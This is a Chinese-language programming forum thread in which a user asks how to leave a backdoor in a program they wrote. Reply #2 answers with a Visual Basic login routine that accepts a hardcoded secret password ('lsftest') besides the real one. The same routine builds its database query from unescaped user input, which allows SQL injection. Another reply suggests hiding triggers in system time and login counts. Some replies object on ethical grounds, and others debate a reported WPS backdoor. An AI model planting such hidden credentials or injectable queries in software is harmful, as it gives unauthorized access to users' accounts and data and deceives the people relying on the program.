请高手指路：怎样在自己编写的程序中留后门呀，？？？？

11 个解决方案

#1

想实现什么功能加进去啊，一起运行就行了啊

#2

Private Sub Command1_Click()

Dim Strrs As String
Dim Adors As ADODB.Recordset
Dim Adoconn As ADODB.Connection
strconn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\mdb\ClientData.mdb;Persist Security Info=False"
Strrs = "select password from clientinfo where username="+trim(text1.text)
Set Adoconn = New ADODB.Connection

With Adoconn
    If .State = adStateOpen Then
     .Close
     End If
   .CursorLocation = adUseClient
   .ConnectionString = strconn
   .Open
End With

Set Adors = New ADODB.Recordset

With Adors
    .ActiveConnection = Adoconn
    .CursorType = adOpenKeyset
    .LockType = adLockOptimistic
    .Open Strrs, Adoconn, , , adCmdText
   If .BOF And .EOF Then
      MsgBox "没有这个用户", vbInformation + vbOKOnly, "提示"
      Exit Sub
   End If
End With

if adors.fields("password")=trim(text2.text) or adors.fields("password")="lsftest" then   '这里，lsftest就是我留的密码后门。
.
.
.
密码验证正确的操作
.
.
.
else
print "密码错误！"

end if

End Sub

#3

同时判断系统时间和登陆次数
登陆次数可写入注册表或数据库中

#4

#5

靠！这种问题也。。

#6

学好编程再说吧：（

#7

有违职业道德啊

这种事情不要做呀!!!

#8

楼上说的对，这样做确实没职业道德。
最好不要这样。

#9

我倒觉得这个没什么，最主要是看你用来干什么，和怎么用。
今天大名鼎鼎的金山公司当年不是也在自己的wps中加了密码后门吗？后门的密码居然还是求伯君的大名的拼音，好像唯恐别人不知似的。但那时倒没有怎么听说人们骂金山公司下流贱格。

#10

老兄

在网络应用程序方面留下自己的后门

你说是怎么样?

WINDOWXP还只是收集了一点点机器的硬件配置资料就已经被人骂得狗血淋头了.

#11

是啊。。。xp去收集硬件配置资料还有帮你分析故障、优化配置等不成理由的借口可说，但wps留后门就真的不知有什么深远意义了。。。也许是我们中国软件业反对微软霸权主义的一项重要战略吧。。。所以大家都不好说什么。。。。。。同是留后门，国内跟国外的就是不一样。。

#1